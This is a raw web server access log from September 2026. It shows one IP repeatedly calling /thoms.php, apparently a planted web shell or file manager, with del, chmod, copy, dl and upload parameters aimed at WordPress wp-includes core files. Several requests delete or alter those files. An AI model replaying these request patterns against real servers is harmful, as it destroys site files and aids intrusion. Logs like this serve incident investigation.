45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?del=class-wp-theme-json-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22135 "https://163.245.207.76:443/thoms.php?del=class-wp-theme-json-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=pluggable.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=pluggable.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?chmod=post-formats.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=post-formats.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=pluggable.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22154 "https://163.245.207.76:443/thoms.php?chmod=post-formats.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fatomlib.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fatomlib.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22251 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fatomlib.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-link-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-link-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?chmod=class-wp-widget.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-link-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=class-wp-widget.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-rss2-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-rss2-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-rss2-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?chmod=class-wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&upload= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22202 "https://163.245.207.76:443/thoms.php?chmod=class-wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22202 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?dl=class-wp-block-parser-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?del=class-wp-customize-setting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-setting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-wp-customize-setting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?chmod=class-wp-textdomain-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-textdomain-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-textdomain-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?chmod=class-smtp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-smtp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?del=class-wp-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-smtp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-comment.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-user-request.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-user-request.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=comment.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-user-request.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fload.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fload.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?dl=plugin.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=plugin.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fload.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?dl=plugin.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-category.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?dl=class-wp-block-editor-context.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-editor-context.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-walker-category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-block-editor-context.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-control.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-control.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-customize-control.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?del=class-wp-error.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-error.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-wp-error.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?chmod=feed-rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=feed-rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?dl=load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=feed-rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcapabilities.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcapabilities.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-feed-cache-transient.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-feed-cache-transient.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcapabilities.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-feed-cache-transient.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?del=class-wp-theme-json-schema.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-schema.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?del=global-styles-and-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=global-styles-and-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:09 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22189 "https://163.245.207.76:443/thoms.php?del=class-wp-theme-json-schema.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?del=global-styles-and-settings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?del=class-wp-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-editor-context.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
